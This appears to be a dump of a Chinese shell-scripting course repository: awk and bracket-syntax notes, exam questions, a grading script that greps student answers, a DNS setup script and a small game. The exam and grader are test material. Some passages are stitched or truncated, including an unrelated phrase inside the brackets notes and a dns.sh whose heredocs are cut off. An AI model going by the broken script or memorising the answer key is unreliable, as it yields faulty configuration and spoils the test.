{size=0;} {size=size+$5;} END{print "[end]size is ", size/1024/1024,"M"}' 370 | [end]size is 8.25889 M 371 | ``` 372 | 373 | 注意,统计不包括文件夹的子目录。 374 | 375 | 376 | 377 | #### 条件语句 378 | 379 | awk中的条件语句是从C语言中借鉴来的,见如下声明方式: 380 | 381 | ```shell 382 | if (expression) { 383 | statement; 384 | statement; 385 | ... ... 386 | } 387 | 388 | if (expression) { 389 | statement; 390 | } else { 391 | statement2; 392 | } 393 | 394 | if (expression) { 395 | statement1; 396 | } else if (expression1) { 397 | statement2; 398 | } else { 399 | statement3; 400 | } 401 | ``` 402 | 403 | 404 | 统计某个文件夹下的文件占用的字节数,过滤4096大小的文件(一般都是文件夹): 405 | 406 | ```shell 407 | ls -l |awk 'BEGIN {size=0;print "[start]size is ", size} {if($5!=4096){size=size+$5;}} END{print "[end]size is ", size/1024/1024,"M"}' 408 | [end]size is 8.22339 M 409 | ``` 410 | 411 | 412 | #### 循环语句 413 | 414 | awk中的循环语句同样借鉴于C语言,支持while、do/while、for、break、continue,这些关键字的语义和C语言中的语义完全相同。 415 | 416 | 417 | 418 | #### 数组 419 | 420 | 因为awk中数组的下标可以是数字和字母,数组的下标通常被称为关键字(key)。值和关键字都存储在内部的一张针对key/value应用hash的表格里。由于hash不是顺序存储,因此在显示数组内容时会发现,它们并不是按照你预料的顺序显示出来的。数组和变量一样,都是在使用时自动创建的,awk也同样会自动判断其存储的是数字还是字符串。一般而言,awk中的数组用来从记录中收集信息,可以用于计算总和、统计单词以及跟踪模板被匹配的次数等等。 421 | 422 | 423 | 424 | 显示/etc/passwd的账户 425 | 426 | ```shell 427 | awk -F ':' 'BEGIN {count=0;} {name[count] = $1;count++;}; END{for (i = 0; i < NR; i++) print i, name[i]}' /etc/passwd 428 | 0 root 429 | 1 daemon 430 | 2 bin 431 | 3 sys 432 | 4 sync 433 | 5 games 434 | ...... 435 | ``` 436 | 437 | 这里使用for循环遍历数组 438 | 439 | awk编程的内容极多,这里只罗列简单常用的用法,更多请参考 http://www.gnu.org/software/gawk/manual/gawk.html 440 | -------------------------------------------------------------------------------- /04_shell_brackets.md: -------------------------------------------------------------------------------- 1 | ## 各种括号的作用()、(())、[]、[[]]、{} 2 | 3 | [TOC] 4 | 5 | ### 一、小括号,圆括号() 6 | 7 | #### 1、单小括号 () 8 | 9 | 1 命令组。括号中的命令将会新开一个子shell顺序执行,所以括号中的变量不能够被脚本余下的部分使用。括号中多个命令之间用分号隔开,最后一个命令可以没有分号,各命令和括号之间不必有空格。 10 | 11 | 2 命令替换。等同于`cmd`,shell扫描一遍命令行,发现了$(cmd)结构,便将$(cmd)中的cmd执行一次,得到其标准输出,再将此输出放到原来命令。有些shell不支持,如tcsh。 12 | 13 | 3 用于初始化数组。如:array=(a b c d) 14 | 15 | #### 2、双小括号 (( )) 16 | 17 | 1 整数扩展。这种扩展计算是整数型的计算,不支持浮点型。((exp))结构扩展并计算一个算术表达式的值,如果表达式的结果为0,那么返回的退出状态码为1,或者 是"假",而一个非零值的表达式所返回的退出状态码将为0,或者是"true"。若是逻辑判断,表达式exp为真则为1,假则为0。 18 | 19 | 2 只要括号中的运算符、表达式符合C语言运算规则,都可用在$((exp))中,甚至是三目运算符。作不同进位(如二进制、八进制、十六进制)运算时,输出结果全都自动转化成了十进制。如:echo $((16#5f)) 结果为95(16进位转十进制) 20 | 21 | 3 单纯用 (( )) 也可重定义变量值,比如 a=5; ((a++)) 可将 $a 重定义为6 22 | 23 | 4 常用于算术运算比较,双括号中的变量可以不使用$符号前缀。括号内支持多个表达式用逗号分开。 只要括号中的表达式符合C语言运算规则,比如可以直接使用for((i=0;i<5;i++)), 如果不使用双括号, 则为for i in `seq 04`或者for i in {0..4}。再如可以直接使用if (($i<5)), 如果不使用双括号, 则为if [ $i -lt 5 ]。 24 | 25 | ### 二、中括号,方括号[] 26 | 27 | #### 1、单中括号 [] 28 | 29 | 1 bash 的内部命令,[和test是等同的。如果我们不用绝对路径指明,通常我们用的都是bash自带的命令。if/test结构中的左中括号是调用test的命令标识,右中括号是关闭条件判断的。这个命令把它的参数作为比较表达式或者作为文件测试,并且根据比较的结果来返回一个退出状态码。if/test结构中并不是必须右中括号,但是新版的Bash中要求必须这样。 30 | 31 | 2 Test和[]中可用的比较运算符只有==和!=,两者都是用于字符串比较的,不可用于整数比较,整数比较只能使用-eq,-gt这种形式。无论是字符串比较还是整数比较都不支持大于号小于号。如果实在想用,对于字符串比较可以使用转义形式,如果比较"ab"和"bc":[ ab \< bc ],结果为真,也就是返回状态为0。[ ]中的逻辑与和逻辑或使用-a 和-o 表示。 32 | 33 | 3 字符范围。用作正则表达式的一部分,描述一个匹配的字符范围。作为test用途的中括号内不能使用正则。 34 | 35 | 4 在一个array 结构的上下文中,中括号用来引用数组中每个元素的编号。 36 | 37 | #### 2、双中括号[[ ]] 38 | 39 | 1 [[是 bash 程序语言的关键字。并不是一个命令,[[ ]] 结构比[ ]结构更加通用。在[[和]]之间所有的字符都不会发生文件名扩展或者单词分割,但是会发生参数扩展和命令替换。 40 | 41 | 2 支持字符串的模式匹配,使用=~操作符时甚至支持shell的正则表达式。字符串比较时可以把右边的作为一shell中各种括号的作用()、个模式,而不仅仅是一个字符串,比如[[ hello == hell? ]],结果为真。[[ ]] 中匹配字符串或通配符,不需要引号。 42 | 43 | 3 使用[[ ... ]]条件判断结构,而不是[ ... ],能够防止脚本中的许多逻辑错误。比如,&&、||、<和> 操作符能linux shell下除了某个文件外的其他文件全部删除够正常存在于[[ ]]条件判断结构中,但是如果出现在[ ]结构中的话,会报错。比如可以直接使用if [[ $a != 1 &&$a != 2 ]], 如果不适用双括号, 则为if [ $a -ne 1] && [ $a != 2 ]或者if [ $a -ne 1 -a $a != 2 ]。 44 | 45 | 4 bash把双中括号中的表达式看作一个单独的元素,并返回一个退出状态码。 46 | 47 | 48 | ### 三、大括号、花括号 {} 49 | 50 | #### 1、常规用法 51 | 52 | 1 大括号拓展。(通配(globbing))将对大括号中的文件名做扩展。在大括号中,不允许有空白,除非这个空白被引用或转义。第一种:对大括号中的以逗号分割的文件列表进行拓展。如 touch {a,b}.txt 结果为a.txt b.txt。第二种:对大括号中以点点(..)分割的顺序文件列表起拓展作用,如:touch {a..d}.txt 结果为a.txt b.txt c.txtd.txt 53 | 54 | 2 代码块,又被称为内部组,这个结构事实上创建了一个匿名函数 。与小括号中的命令不同,大括号内的命令不会新开一个子shell运行,即脚本余下部分仍可使用括号内变量。括号内的命令间用分号隔开,最后一个也必须有分号。{}的第一个命令和左括号之间必须要有一个空格 55 | 56 | #### 2、几种特殊的替换结构 57 | 58 | ${var:-string},${var:+string},${var:=string},${var:?string} 59 | 60 | 1 ${var:-string}和${var:=string}:若变量var为空,则用在命令行中用string来替换${var:-string},否则变量var不为空时,则用变量var的值来替换${var:-string};对于${var:=string}的替换规则和${var:-string}是一样的,所不同之处是${var:=string}若var为空时,用string替换${var:=string}的同时,把string赋给变量var:${var:=string}很常用的一种用法是,判断某个变量是否赋值,没有的话则给它赋上一个默认值。 61 | 62 | 2 ${var:+string}的替换规则和上面的相反,即只有当var不是空的时候才替换成string,若var为空时则不替换或者说是替换成变量 var的值,即空值。(因为变量var此时为空,所以这两种说法是等价的) 63 | 64 | 3 ${var:?string}替换规则为:若变量var不为空,则用变量var的值来替换${var:?string};若变量var为空,则把string输出到标准错误中,并从脚本中退出。我们可利用此特性来检查是否设置了变量的值。 65 | 66 | 补充扩展:在上面这五种替换结构中string不一定是常值的,可用另外一个变量的值或是一种命令的输出。 67 | 68 | #### 3、四种模式匹配替换结构 69 | 70 | 模式匹配记忆方法: 71 | 72 | ```shell 73 | # 是去掉左边(在键盘上#在$之左边) 74 | % 是去掉右边(在键盘上%在$之右边) 75 | #和%中的单一符号是最小匹配,两个相同符号是最大匹配。 76 | ${var%pattern},${var%%pattern},${var#pattern},${var##pattern} 77 | ``` 78 | #### 4、字符串提取和替换 79 | 80 | ${var:num},${var:num1:num2},${var/pattern/pattern},${var//pattern/pattern} 81 | 82 | * 第一种模式:${var:num},这种模式时,shell在var中提取第num个字符到末尾的所有字符。若num为正数,从左边0处开始;若num为负数,从右边开始提取字串,但必须使用在冒号后面加空格或一个数字或整个num加上括号,如${var: -2}、${var:1-3}或${var:(-2)}。 83 | * 第二种模式:${var:num1:num2},num1是位置,num2是长度。表示从$var字符串的第$num1个位置开始提取长度为$num2的子串。不能为负数。 84 | * 第三种模式:${var/pattern/pattern}表示将var字符串的第一个匹配的pattern替换为另一个pattern。 。 85 | * 第四种模式:${var//pattern/pattern}表示将var字符串中的所有能匹配的pattern替换为另一个pattern。 86 | 87 | ### 四、符号$后的括号 88 | 89 | * (1) ${a} 变量a的值, 在不引起歧义的情况下可以省略大括号。 90 | * (2) $(cmd) 命令替换,和`cmd`效果相同,结果为shell命令cmd的输,过某些Shell版本不支持$()形式的命令替换, 如tcsh。 91 | * (3) $((expression)) 和`exprexpression`效果相同, 计算数学表达式exp的数值, 其中exp只要符合C语言的运算规则即可, 甚至三目运算符和逻辑表达式都可以计算。 92 | 93 | ### 五、使用多条命令执行 94 | 95 | * (1)单小括号,(cmd1;cmd2;cmd3) 新开一个子shell顺序执行命令cmd1,cmd2,cmd3, 各命令之间用分号隔开,最后一个命令后可以没有分号。 96 | * (2)单大括号,{ cmd1;cmd2;cmd3;} 在当前shell顺序执行命令cmd1,cmd2,cmd3, 各命令之间用分号隔开, 最后一个命令后必须有分号, 第一条命令和左括号之间必须用空格隔开。对{}和()而言, 括号中的重定向符只影响该条命令, 而括号外的重定向符影响到括号中的所有命令。 97 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | bash shell 2 | -------------------------------------------------------------------------------- /UP210_shell/00_shell_variables.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/BoobooWei/booboo_bash_shell_scripts/9c735e5481d545fbfa05e02f7e48171329559243/UP210_shell/00_shell_variables.pdf -------------------------------------------------------------------------------- /UP210_shell/01_shell_flow_control_statement.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/BoobooWei/booboo_bash_shell_scripts/9c735e5481d545fbfa05e02f7e48171329559243/UP210_shell/01_shell_flow_control_statement.pdf -------------------------------------------------------------------------------- /UP210_shell/02_shell_regular_expression.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/BoobooWei/booboo_bash_shell_scripts/9c735e5481d545fbfa05e02f7e48171329559243/UP210_shell/02_shell_regular_expression.pdf -------------------------------------------------------------------------------- /UP210_shell/03_shell_sed_awk.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/BoobooWei/booboo_bash_shell_scripts/9c735e5481d545fbfa05e02f7e48171329559243/UP210_shell/03_shell_sed_awk.pdf -------------------------------------------------------------------------------- /UP210_shell/04_shell_brackets.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/BoobooWei/booboo_bash_shell_scripts/9c735e5481d545fbfa05e02f7e48171329559243/UP210_shell/04_shell_brackets.pdf -------------------------------------------------------------------------------- /UP210_shell/shell上机.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/BoobooWei/booboo_bash_shell_scripts/9c735e5481d545fbfa05e02f7e48171329559243/UP210_shell/shell上机.pdf -------------------------------------------------------------------------------- /UP210_shell/shell笔试.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/BoobooWei/booboo_bash_shell_scripts/9c735e5481d545fbfa05e02f7e48171329559243/UP210_shell/shell笔试.pdf -------------------------------------------------------------------------------- /books/1-Shell课程结构.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/BoobooWei/booboo_bash_shell_scripts/9c735e5481d545fbfa05e02f7e48171329559243/books/1-Shell课程结构.png -------------------------------------------------------------------------------- /books/Shell Script 教程.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/BoobooWei/booboo_bash_shell_scripts/9c735e5481d545fbfa05e02f7e48171329559243/books/Shell Script 教程.pdf -------------------------------------------------------------------------------- /books/awk 学习.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/BoobooWei/booboo_bash_shell_scripts/9c735e5481d545fbfa05e02f7e48171329559243/books/awk 学习.png -------------------------------------------------------------------------------- /exam/shelltest.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | scp -r root@172.25.254.$1:/home/kiosk/Desktop/stu$1 /tmp 3 | SCORE=100 4 | function print_MSG { 5 | local msg=$1 6 | echo -en "\033[1;34m$msg\033[0;39m " 7 | } 8 | 9 | function print_PASS { 10 | echo -e '\033[1;32mPASS\033[0;39m' 11 | } 12 | 13 | function print_FAIL { 14 | echo -en '\033[1;31mFAIL\033[0;39m ' 15 | #echo -e "\033[1;31mSCORE-$1\033[0;39m" 16 | echo -e "\033[1;31m-$1\033[0;39m" 17 | SCORE=$(($SCORE - $1)) 18 | } 19 | function print_SUCCESS { 20 | echo -e '\033[1;36mSUCCESS\033[0;39m' 21 | } 22 | function check1 { 23 | grep "bin/bash" /tmp/stu$1/1.sh &> /dev/null && print_SUCCESS || print_FAIL 5 24 | grep "\" [:] nu" /tmp/stu$1/1.sh &> /dev/null || print_SUCCESS || print_FAIL 5 25 | grep '$(($num1+$num2))' /tmp/stu$1/1.sh &> /dev/null && print_SUCCESS || print_FAIL 10 26 | } 27 | function check2 { 28 | grep "/SELINUX/\|SELINUX=" /tmp/stu$1/2.sh &> /dev/null && print_SUCCESS || print_FAIL 20 29 | } 30 | function check3 { 31 | grep 'for i in $(' /tmp/stu$1/3.sh &> /dev/null && print_SUCCESS || print_FAIL 5 32 | grep do /tmp/stu$1/3.sh &> /dev/null && print_SUCCESS || print_FAIL 5 33 | grep '&&' /tmp/stu$1/3.sh &> /dev/null && print_SUCCESS || print_FAIL 5 34 | grep done /tmp/stu$1/3.sh &> /dev/null && print_SUCCESS || print_FAIL 5 35 | } 36 | function checkgo1 { 37 | sed -n '1p' /tmp/stu$1/go1|grep '$' &> /dev/null && print_SUCCESS || print_FAIL 2 38 | sed -n '2p' /tmp/stu$1/go1|grep '$?' &> /dev/null && print_SUCCESS || print_FAIL 2 39 | sed -n '3p' /tmp/stu$1/go1|grep "cut\|awk" &> /dev/null && print_SUCCESS || print_FAIL 2 40 | sed -n '4p' /tmp/stu$1/go1|grep 'x' &> /dev/null && print_SUCCESS || print_FAIL 2 41 | sed -n '5p' /tmp/stu$1/go1|grep 'abcd' &> /dev/null && print_SUCCESS || print_FAIL 2 42 | sed -n '6p' /tmp/stu$1/go1|grep '行' &> /dev/null && print_SUCCESS || print_FAIL 2 43 | sed -n '7p' /tmp/stu$1/go1|grep 'awk' &> /dev/null && print_SUCCESS || print_FAIL 2 44 | sed -n '8p' /tmp/stu$1/go1|grep '${10}' &> /dev/null && print_SUCCESS || print_FAIL 2 45 | sed -n '9p' /tmp/stu$1/go1|grep "shell\|pid" &> /dev/null && print_SUCCESS || print_FAIL 2 46 | sed -n '10p' /tmp/stu$1/go1|grep "本地\|环境" &> /dev/null && print_SUCCESS || print_FAIL 2 47 | } 48 | function checkgo2 { 49 | sed -n '1p' /tmp/stu$1/go2|grep 'C' &> /dev/null && print_SUCCESS || print_FAIL 2 50 | sed -n '2p' /tmp/stu$1/go2|grep 'A' &> /dev/null && print_SUCCESS || print_FAIL 2 51 | sed -n '3p' /tmp/stu$1/go2|grep 'C' &> /dev/null && print_SUCCESS || print_FAIL 2 52 | sed -n '4p' /tmp/stu$1/go2|grep 'C' &> /dev/null && print_SUCCESS || print_FAIL 2 53 | sed -n '5p' /tmp/stu$1/go2|grep 'A' &> /dev/null && print_SUCCESS || print_FAIL 2 54 | sed -n '6p' /tmp/stu$1/go2|grep 'B' &> /dev/null && print_SUCCESS || print_FAIL 2 55 | sed -n '7p' /tmp/stu$1/go2|grep 'C' &> /dev/null && print_SUCCESS || print_FAIL 2 56 | sed -n '8p' /tmp/stu$1/go2|grep 'A' &> /dev/null && print_SUCCESS || print_FAIL 2 57 | sed -n '9p' /tmp/stu$1/go2|grep 'C' &> /dev/null && print_SUCCESS || print_FAIL 2 58 | sed -n '10p' /tmp/stu$1/go2|grep 'B' &> /dev/null && print_SUCCESS || print_FAIL 2 59 | } 60 | 61 | 62 | 63 | function check_ule_main { 64 | local num=$1 65 | echo 66 | print_MSG "1.sh-check\n" 67 | check1 $num 68 | 69 | print_MSG "2.sh-check\n" 70 | check2 $num 71 | 72 | print_MSG "3.sh-check\n" 73 | check3 $num 74 | 75 | print_MSG "go1-check\n" 76 | checkgo1 $num 77 | 78 | print_MSG "go2-check\n" 79 | checkgo2 $num 80 | 81 | } 82 | case $1 in 83 | all) 84 | #. /etc/rht 85 | N_UM=$RHT_MAXSTATIONS 86 | for fun in $(seq 100 $N_UM) ; do 87 | print_MSG "stu$N_um check exam\n" 88 | check_ule_main $N_um 89 | print_MSG "stu$N_um check end\n" 90 | done 91 | ;; 92 | [0-9]* ) 93 | NUM=$1 94 | print_MSG "stu$NUM check begin\n" 95 | check_ule_main $NUM 96 | 97 | print_MSG "stu$NUM check end\n" 98 | ;; 99 | *) 100 | print_MSG "error $1\n" 101 | ;; 102 | esac 103 | echo -e "\t\033[1;31mYOUR SCORE IS:\033[0;39m \033[1;36m$SCORE\033[0;39m " 104 | echo $1 $SCORE >> /home/kiosk/Desktop/shelltest.txt 105 | 106 | 107 | 108 | -------------------------------------------------------------------------------- /exam/shell上机.md: -------------------------------------------------------------------------------- 1 | # shell上机 2 | > 请将脚本保存,存放路径为/home/kiosk/Desktop/stux/,其中x为你的机号 3 | > test.sh num.sh checkip.sh dns.sh useradd.sh 每题20分 4 | 5 | ## 1.流程控制语句应用测试: 6 | ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ 7 | 编写一个脚本,脚本名为test.sh 8 | 判断/tmp/test1至/tmp/test50和/etc/passwd /etc/hosts文件存在不存在,若不存在则将该文件创建出来。 9 | ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ 10 | ## 2.按照运行结果编写Shell脚本: 11 | ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ 12 | 要求:1)脚本名为num.sh 13 | 2)要求显示结果如下: 14 | 第一行0,第二行01,第三行012,以此类推,输出如上0到9的结果即可。 15 | 0 16 | 01 17 | 012 18 | 0123 19 | 01234 20 | 012345 21 | 0123456 22 | 01234567 23 | 012345678 24 | 0123456789 25 | ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ 26 | 27 | ### 3.正则表达式应用测试: 28 | ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ 29 | 编写一个IP检测脚本 30 | 1) 脚本名为checkip.sh 31 | 2) 输入参数为$1,$1 为要判断的输入,如果$1 为ip 地址,则输出”This is ip address”, 32 | 如果$1 为非ip 地址,则输出”This is not ip address” 33 | 3) 执行方法为checkip.sh 192.168.1.1 34 | 4) 测试如下输入值 35 | 192.168.0.199 192.a.12.0 24.235.299.1 192.168.3 36 | ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ 37 | ### 4.实际应用测试1 38 | ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ 39 | 编写一个脚本,脚本名为dns.sh,通过脚本搭建dns。 40 | 要求: 解析uplooking.com域名 41 | A记录有www.uplooking.com 10.2.2.2 42 | PTR记录有相应的反向解析 43 | ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ 44 | ### 5.实际应用测试2 45 | ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ 46 | 编写一个脚本,脚本名为useradd.sh 47 | 要求根据userlist创建用户,要求指定用户名,用户id,用户的默认组和附加组及变更用户u密码,若对应用户的附加组不存在,则将附加组创建出来后再根据要求添加用户。 48 | [root@rhel6 ~]# cat /tmp/useraddlist1 49 | dabao 888 xuexi,it uplooking 50 | lucy 889 sales,it uplooking 51 | lily 899 pro,aa uplooking 52 | ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ 53 | 54 | ### 6.病毒自我复制脚本 55 | 56 | ### 7.获取apache访问日志中访问次数最多的前5个ip地址 57 | -------------------------------------------------------------------------------- /exam/shell笔试.md: -------------------------------------------------------------------------------- 1 | # SHELL笔试题 2 | 3 | ## 一:纠错题:请找出以下代码有错误的地方并更正。(3*20) 4 | 5 | ### 1. 两个数字相加 6 | 7 | ```shell 8 | #!/bin.bash 9 | read -p "input number1" : num1 10 | read -p "input number2" : num2 11 | echo $(num1+num2) 12 | ``` 13 | 请将更正脚本保存,名为1.sh,存放路径为/home/kiosk/Desktop/stux/1.sh ,其中x为你的机号 14 | ;在脚本中用#注释出题目中错误的地方 15 | 16 | ### 2. 将开机selinux状态设置为disabled 17 | 18 | ```shell 19 | #!/bin/bash 20 | sed 'SELINUXs/disabled/enforcing/' /etc/selinux/config 21 | ``` 22 | 请将更正脚本保存,名为2.sh,存放路径为/home/kiosk/Desktop/stux/2.sh ,其中x为你的机号 23 | ;在脚本中用#注释出题目中错误的地方 24 | 25 | ### 3. 判断100以内被5整除但是不能被7整除的数字 26 | ```shell 27 | #!/bin/bash 28 | for i in (seq 1 100) 29 | A=$(($i % 5)) 30 | B=$(($i%7)) 31 | if [ $A -eq 0 ] -a [ $B -ne 0 ] 32 | then 33 | echo $i 34 | fi 35 | ``` 36 | 请将更正脚本保存,名为3.sh,存放路径为/home/kiosk/Desktop/stux/3.sh ,其中x为你的机号 37 | ;在脚本中用#注释出题目中错误的地方 38 | 39 | ## 二:填空题(2*10) 40 | 41 | ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ 42 | 1. 通过什么符号计算传递进来的位置参数?__________ 43 | 2. 如何检查之前的命令是否运行成功?__________ 44 | 3. 如何获取一个文件每一行以空格为分隔的第三个元素?__________ 45 | 4. 调试bash脚本的参数为?__________ 46 | 5. A=a:b:c:d echo ${A//:/} 结果是__________ 47 | 6. awk的NR变量作用是什么?___________________ 48 | 7. 如何获取数组的长度? ____________ 49 | 8. 如何引用传递给脚本的第十个位置参数?_______________ 50 | 9. $$的含义?_____________________ 51 | 10. 命令 “export” 有什么用? ____________________________ 52 | ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ 53 | 54 | ## 三:选择题(2*10) 55 | 56 | ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ 57 | 1. Awk里的内置变量NF指的是( ) 58 | A) 所有输入文件记录的行数 B) 单个输入文件记录的行数 59 | C) 以指定分隔符号作为分隔的列数 D) AWK处理文件的个数 60 | 61 | 2. 跳出当前循环,进入下一个循环使用的语句是( ) 62 | A) continue B)break C)exit D)return 63 | 64 | 3. 使用正则表达式的语句sed -n '/^\<[^0-9a-d]*\>$/p' /tmp/list输出的可能是以下哪个( ) 65 | A)kevin alice B)selena 66 | C)peter D)23naive 67 | 68 | 4. 以下哪个选项关于数组赋值是错误的( ) 69 | A) A[1]=3 B)A=([15]=1 a d e) 70 | C)A=((6 7 0 2)) D)A=(15 3 47 a) 71 | 72 | 5. 以下哪个表达式可以算出8+3的结果( ) 73 | A) echo $((8+3)) 74 | B) echo $(8+3) 75 | C) echo ${8+3} 76 | D) echo $[[8+3]] 77 | 78 | 6. 以下哪个流程语句是判断为真则做循环( ) 79 | A) until B)while 80 | C)case D)for 81 | 7. 阅读以下代码,该代码输出结果是( ) 82 | #!/bin/bash 83 | i=0 84 | sum=0 85 | while [ $i -le 5 ] 86 | do 87 | sum=$(($sum+$i)) 88 | i=$(($i+1)) 89 | done 90 | echo $sum 91 | A)10 B)21 C)15 D)该代码执行会产生死循环 92 | 93 | 8. 函数内如何设置局部变量( ) 94 | A) local B)export 95 | C)source D)function 96 | 97 | 9. 以下哪一种指令显示的结果为$test( ) 98 | A)\echo $test B)echo "$test" 99 | C)echo '$test' D)echo "${test}" 100 | 101 | 10. shift的作用是( ) 102 | A) 定义返回值 B)移动位置参数 103 | C)跳出脚本 D)跳出循环 104 | ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ 105 | -------------------------------------------------------------------------------- /pic/01.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/BoobooWei/booboo_bash_shell_scripts/9c735e5481d545fbfa05e02f7e48171329559243/pic/01.png -------------------------------------------------------------------------------- /pic/02.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/BoobooWei/booboo_bash_shell_scripts/9c735e5481d545fbfa05e02f7e48171329559243/pic/02.png -------------------------------------------------------------------------------- /pic/03.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/BoobooWei/booboo_bash_shell_scripts/9c735e5481d545fbfa05e02f7e48171329559243/pic/03.png -------------------------------------------------------------------------------- /pic/Thumbs.db: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/BoobooWei/booboo_bash_shell_scripts/9c735e5481d545fbfa05e02f7e48171329559243/pic/Thumbs.db -------------------------------------------------------------------------------- /sides/dns.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | INSTALL(){ 3 | yum install -y bind bind-chroot 4 | } 5 | 6 | ETC1(){ 7 | #sed -i 's/127.0.0.1/any/;s/::1/any/;s/localhost/any/' /etc/named.conf 8 | sed -i 's/{.*; };/{ any; };/' /etc/named.conf 9 | } 10 | ETC2(){ 11 | cat >> /etc/named.rfc1912.zones << ENDF 12 | zone "uplooking.com" IN { 13 | type master; 14 | file "named.uplooking.com"; 15 | allow-update { none; }; 16 | }; 17 | zone "0.25.172.in-addr.arpa" IN { 18 | type master; 19 | file "named.arpa.uplooking.com"; 20 | allow-update { none; }; 21 | }; 22 | ENDF 23 | } 24 | 25 | ZONE(){ 26 | cp -rp /var/named/named.localhost /var/named/named.uplooking.com 27 | cat > /var/named/named.uplooking.com < /var/named/named.arpa.uplooking.com < /dev/null 36 | then 37 | read 38 | else 39 | cat >> $RFC << ENDF 40 | zone "$DOM" IN { 41 | type master; 42 | file "named.$DOM"; 43 | allow-update { none; }; 44 | }; 45 | ENDF 46 | fi 47 | 48 | if grep "${IP[2]}.${IP[1]}.${IP[0]}" $RFC &> /dev/null 49 | then 50 | read 51 | else 52 | cat >> $RFC << ENDF 53 | zone "${IP[2]}.${IP[1]}.${IP[0]}.in-addr.arpa" IN { 54 | type master; 55 | file "named.arpa.$DOM"; 56 | allow-update { none; }; 57 | }; 58 | ENDF 59 | fi 60 | 61 | ls /var/named/named.$DOM &> /dev/null || (cp -rp /var/named/named.localhost /var/named/named.$DOM && sed -i '9,10d' /var/named/named.$DOM) 62 | grep -v "SOA" /var/named/named.$DOM|grep "A" &> /dev/null || sed -i "\$a\\\tA\t$ipadd" /var/named/named.$DOM 63 | grep "$HO" /var/named/named.$DOM &> /dev/null || sed -i "\$a$HO\tA\t$ipadd" /var/named/named.$DOM 64 | 65 | 66 | ls /var/named/named.arpa.$DOM &> /dev/null || (cp -rp /var/named/named.loopback /var/named/named.arpa.$DOM && sed -i '8,$d' /var/named/named.arpa.$DOM) 67 | grep NS /var/named/named.arpa.$DOM &> /dev/null || sed -i "\$a\\\tNS\t$DOM." /var/named/named.arpa.$DOM 68 | grep "PTR $DOM." /var/named/named.arpa.$DOM &> /dev/null || sed -i "\$a${IP[3]}\tPTR\t$DOM." /var/named/named.arpa.$DOM 69 | grep "${IP[3]} PTR $domain." /var/named/named.arpa.$DOM &> /dev/null || sed -i "\$a${IP[3]}\tPTR\t$domain." /var/named/named.arpa.$DOM 70 | 71 | 72 | 73 | } 74 | 75 | SERVICE(){ 76 | systemctl start named 77 | } 78 | 79 | READ () { 80 | read -p "请输入要设置的正向解析域名:" domain 81 | read -p "请输入要设置的正向解析域名所对应的ip地址:" ipadd 82 | } 83 | 84 | 85 | # 程序正文 86 | #安装软件 87 | echo "1.开始安装DNS相关程序" 88 | read 89 | INSTALL 90 | #配置文件/etc/named.conf 91 | echo "2.配置文件/etc/named.conf" 92 | read 93 | ETC1 94 | #配置正反解析 95 | echo "3.配置正反解析" 96 | read 97 | until [[ `checkdomain $domain` -eq 0 && `checkip $ipadd` -eq 0 ]] 98 | do 99 | READ 100 | 101 | 102 | if [[ `checkdomain $domain` -eq 0 && `checkip $ipadd` -eq 0 ]] 103 | then 104 | RFC 105 | elif [[ `checkdomain $domain` -eq 1 && `checkip $ipadd` -eq 0 ]] 106 | then 107 | echo "域名不正确" 108 | elif [[ `checkdomain $domain` -eq 0 && `checkip $ipadd` -eq 1 ]] 109 | then 110 | echo "ip地址不正确" 111 | else 112 | echo "域名和ip都不正确" 113 | fi 114 | done 115 | 116 | # 配置结束 117 | echo "4.启动服务" 118 | read 119 | SERVICE 120 | 121 | # 查看服务状态 122 | read 123 | systemctl status named 124 | -------------------------------------------------------------------------------- /sides/game: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | read -p "游戏开始!请玩家指定石子的个数:" n1 3 | read -p "请玩家指定每次取石子的最多个数:" n2 4 | 5 | k=$(($n1%($n2+1))) 6 | j=$(($n1/($n2+1))) 7 | 8 | 9 | HH () { 10 | for i in `seq 1 $j` 11 | do 12 | read -p "请玩家取石子:" w 13 | echo "我取 $((($n2+1)-$w)) 个石子" 14 | q=$(($q-($n2+1))) 15 | echo "目前还剩下 $q 个石子" 16 | [ $q -eq 0 ] && echo "你输了@.@!" 17 | done 18 | } 19 | 20 | if [[ $k -gt 0 ]] 21 | then 22 | echo "我先取 $k 个石子" 23 | q=$(($n1-$k)) 24 | echo "目前还剩下 $q 个石子" 25 | HH 26 | else 27 | q=$n1 28 | HH 29 | fi 30 | 31 | -------------------------------------------------------------------------------- /sides/mysqlbinlog.row: 